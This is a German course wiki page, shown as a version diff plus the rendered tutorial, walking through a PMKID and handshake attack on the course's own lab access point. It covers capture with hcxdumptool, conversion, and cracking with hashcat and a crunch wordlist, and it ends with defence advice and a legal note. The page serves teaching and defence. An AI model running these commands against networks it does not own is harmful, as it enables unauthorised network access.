Wlan PMKID-Angriff: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 10: | Zeile 10: | ||
=Störende Dienste stoppen= | =Störende Dienste stoppen= | ||
| − | *systemctl stop avahi-daemon | + | ;NetworkManager allein zu stoppen reicht meist nicht — den eigentlichen Ärger macht '''wpa_supplicant''': der läuft als eigener Dienst weiter, greift die Karte und wirft sie immer wieder in den Managed-Modus zurück. Am saubersten in einem Rutsch: |
| − | * | + | *airmon-ng check kill |
| + | ;Das beendet NetworkManager und wpa_supplicant zusammen. Alternativ von Hand: | ||
| + | *systemctl stop NetworkManager wpa_supplicant avahi-daemon | ||
| + | ;Nur die WLAN-Karte aus NetworkManager nehmen (Ethernet/Internet bleibt erhalten): | ||
| + | *nmcli dev set wlan0 managed no | ||
| + | |||
| + | =Ziel-BSSID ermitteln= | ||
| + | ;'''Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an.''' Wir brauchen die MAC-Adresse (BSSID) genau unseres APs <code>dd-xinux</code>. | ||
| + | ;Variante A — direkt am AP ablesen (das ist unser eigener AP): | ||
| + | *iw dev wlan0 info | ||
| + | ;Variante B — kurz scannen und nach der ESSID suchen: | ||
| + | *hcxdumptool -i wlan0 --rcascan=active | ||
| + | ;oder mit iw von einer zweiten Karte: | ||
| + | *iw dev wlan0 scan | grep -iB5 dd-xinux | ||
| + | ;Wir notieren die BSSID, z. B. <code>AA:BB:CC:11:22:33</code>. | ||
| + | |||
| + | =Filter auf unseren AP bauen= | ||
| + | ;'''Neue Reihe (hcxdumptool 6.3.0 und neuer):''' Filter ist eine BPF-Datei. Wir erzeugen sie mit tcpdump aus der BSSID: | ||
| + | *tcpdump -i wlan0 wlan addr3 AA:BB:CC:11:22:33 -ddd > dd-xinux.bpf | ||
| + | ;'''Alte Reihe (bis 6.2.9):''' hier genügt eine Textdatei mit der BSSID '''ohne''' Doppelpunkte: | ||
| + | *echo aabbcc112233 > dd-xinux.txt | ||
| + | ;Prüfen, welche Reihe installiert ist: | ||
| + | *hcxdumptool --version | ||
=PMKID abgreifen= | =PMKID abgreifen= | ||
| − | *hcxdumptool -i wlan0 -w dump.pcapng | + | ;'''Neue Reihe''' — mit BPF-Filter: |
| + | *hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf | ||
| + | ;'''Alte Reihe''' — mit Filterliste: | ||
| + | *hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1 | ||
;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden. | ;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden. | ||
| − | ;Die Flags ändern sich zwischen den Versionen — | + | ;Mit <code>--exitoneapol=1</code> beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist. |
| + | ;Die Flags ändern sich zwischen den Versionen — im Zweifel einmal <code>hcxdumptool -h</code> prüfen. | ||
| + | |||
| + | =Diagnose: es kommt nichts= | ||
| + | ;Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen: | ||
| + | ;'''1. Regulatory Domain gesetzt?''' Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund. | ||
| + | *iw reg get | ||
| + | *iw reg set DE | ||
| + | ;'''2. Live-Anzeige lesen.''' Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild: oben AP-Status, unten Clients. Steht <code>dd-xinux</code> oben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff. | ||
| + | ;'''3. Kanal festnageln.''' hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort: | ||
| + | *iw dev wlan0 info | ||
| + | *hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL | ||
| + | ;(Bandschreibweise variiert je Version — <code>hcxdumptool -h</code> zeigt das Format.) | ||
| + | ;'''4. Störer wirklich weg?''' NetworkManager/wpa_supplicant drehen sonst an der Karte: | ||
| + | *airmon-ng check kill | ||
| + | ;'''Offline-Gegenprobe.''' Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt): hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback. | ||
| + | |||
| + | =Fallback: voller Handshake= | ||
| + | ;Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet: | ||
| + | *Ein Handy/Notebook mit <code>dd-xinux</code> verbinden (oder kurz trennen und neu verbinden). | ||
| + | ;hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei — <code>hashcat -m 22000</code> bleibt identisch. | ||
| + | ;Didaktisch schön: PMKID = clientless, Handshake = mit Client — beide enden im selben Hash. | ||
=In hashcat-Format wandeln= | =In hashcat-Format wandeln= | ||
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng | *hcxpcapngtool -o pmkid.hc22000 dump.pcapng | ||
;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. | ;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. | ||
| + | ;Kontrolle, dass wirklich nur unser AP drin ist: | ||
| + | *hcxhashtool -i pmkid.hc22000 --info=stdout | ||
=Cracken= | =Cracken= | ||
| Zeile 40: | Zeile 88: | ||
*Langes, zufälliges PSK. | *Langes, zufälliges PSK. | ||
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr. | *'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr. | ||
| + | |||
| + | =Rechtlicher Hinweis= | ||
| + | ;Der BPF-Filter ist nicht nur Technik, sondern Pflicht: Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP <code>dd-xinux</code> angreifen und keine fremden Netze im Gebäude. | ||
=Links= | =Links= | ||
Version vom 20. August 2026, 10:58 Uhr
Szenario
- Angriff auf den Access Point
dd-xinux(siehe Access Point aufsetzen). - PMKID-Angriff
- clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
Passwortliste generieren
- Das AP-Passwort ist 8-stellig numerisch (
00001234) — genau dafür bauen wir die Liste.
- crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes ... dies dauert eine Weile
Störende Dienste stoppen
- NetworkManager allein zu stoppen reicht meist nicht — den eigentlichen Ärger macht wpa_supplicant
- der läuft als eigener Dienst weiter, greift die Karte und wirft sie immer wieder in den Managed-Modus zurück. Am saubersten in einem Rutsch:
- airmon-ng check kill
- Das beendet NetworkManager und wpa_supplicant zusammen. Alternativ von Hand
- systemctl stop NetworkManager wpa_supplicant avahi-daemon
- Nur die WLAN-Karte aus NetworkManager nehmen (Ethernet/Internet bleibt erhalten)
- nmcli dev set wlan0 managed no
Ziel-BSSID ermitteln
- Der wichtigste Schritt — sonst greifen wir alle Netze im Raum an. Wir brauchen die MAC-Adresse (BSSID) genau unseres APs
dd-xinux. - Variante A — direkt am AP ablesen (das ist unser eigener AP)
- iw dev wlan0 info
- Variante B — kurz scannen und nach der ESSID suchen
- hcxdumptool -i wlan0 --rcascan=active
- oder mit iw von einer zweiten Karte
- iw dev wlan0 scan | grep -iB5 dd-xinux
- Wir notieren die BSSID, z. B.
AA:BB:CC:11:22:33.
Filter auf unseren AP bauen
- Neue Reihe (hcxdumptool 6.3.0 und neuer): Filter ist eine BPF-Datei. Wir erzeugen sie mit tcpdump aus der BSSID
- tcpdump -i wlan0 wlan addr3 AA:BB:CC:11:22:33 -ddd > dd-xinux.bpf
- Alte Reihe (bis 6.2.9): hier genügt eine Textdatei mit der BSSID ohne Doppelpunkte
- echo aabbcc112233 > dd-xinux.txt
- Prüfen, welche Reihe installiert ist
- hcxdumptool --version
PMKID abgreifen
- Neue Reihe — mit BPF-Filter
- hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf
- Alte Reihe — mit Filterliste
- hcxdumptool -i wlan0 -o dump.pcapng --filterlist_ap=dd-xinux.txt --filtermode=2 --enable_status=1
- hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
- Mit
--exitoneapol=1beendet sich hcxdumptool automatisch, sobald der PMKID gefangen ist. - Die Flags ändern sich zwischen den Versionen — im Zweifel einmal
hcxdumptool -hprüfen.
Diagnose: es kommt nichts
- Wenn kein PMKID auftaucht, liegt es fast immer an einem von vier Punkten. Der Reihe nach durchgehen
- 1. Regulatory Domain gesetzt? Ohne gesetzte Region darf die Karte oft nicht senden — dann kein Association-Request, kein M1, kein PMKID. Das ist in DE der häufigste Grund.
- iw reg get
- iw reg set DE
- 2. Live-Anzeige lesen. Seit 6.3.0 zeigt hcxdumptool ein geteiltes Bild
- oben AP-Status, unten Clients. Steht
dd-xinuxoben, erreicht die Karte den AP. Bleibt oben dauerhaft leer → Filter/Kanal/Treiber, nicht der Angriff. - 3. Kanal festnageln. hcxdumptool hüpft über die Kanäle. Wir lesen den Kanal des APs ab und bleiben dort
- iw dev wlan0 info
- hcxdumptool -i wlan0 -w dump.pcapng --bpf=dd-xinux.bpf -c KANAL
- (Bandschreibweise variiert je Version —
hcxdumptool -hzeigt das Format.) - 4. Störer wirklich weg? NetworkManager/wpa_supplicant drehen sonst an der Karte
- airmon-ng check kill
- Offline-Gegenprobe. Egal was live scrollt — die Wahrheit steht im Konverter (siehe nächster Abschnitt)
- hcxpcapngtool zählt genau auf, was drin ist (PMKID, EAPOL M1..M4) und warnt, wenn der Filter nützliche Frames rausgeschnitten hat. Steht dort "0 PMKID", hat der AP schlicht keinen gesendet → Fallback.
Fallback: voller Handshake
- Nicht jeder AP legt einen PMKID in M1. Dann nehmen wir den klassischen 4-Wege-Handshake — der klappt immer, sobald sich ein Client verbindet
- Ein Handy/Notebook mit
dd-xinuxverbinden (oder kurz trennen und neu verbinden).
- hcxdumptool schneidet den Handshake mit, sofern wir auf dem AP-Kanal stehen. hcxpcapngtool macht daraus dieselbe .hc22000-Datei —
hashcat -m 22000bleibt identisch. - Didaktisch schön
- PMKID = clientless, Handshake = mit Client — beide enden im selben Hash.
In hashcat-Format wandeln
- hcxpcapngtool -o pmkid.hc22000 dump.pcapng
- Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
- Kontrolle, dass wirklich nur unser AP drin ist
- hcxhashtool -i pmkid.hc22000 --info=stdout
Cracken
- hashcat -m 22000 pmkid.hc22000 password.lst
- Ergebnis ansehen
- hashcat -m 22000 pmkid.hc22000 --show
Crack-Geschwindigkeiten
- Laptop schafft circa 1000 Keys pro Sekunde
- Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
- Online-Rechenpower mieten
- Cluster aus mehreren Grafikkarten bauen
Warum ist das knackbar?
00001234ist 8-stellig numerisch- 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
- 8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
Verteidigung
- Langes, zufälliges PSK.
- WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
Rechtlicher Hinweis
- Der BPF-Filter ist nicht nur Technik, sondern Pflicht
- Er stellt sicher, dass wir ausschließlich unseren eigenen Labor-AP
dd-xinuxangreifen und keine fremden Netze im Gebäude.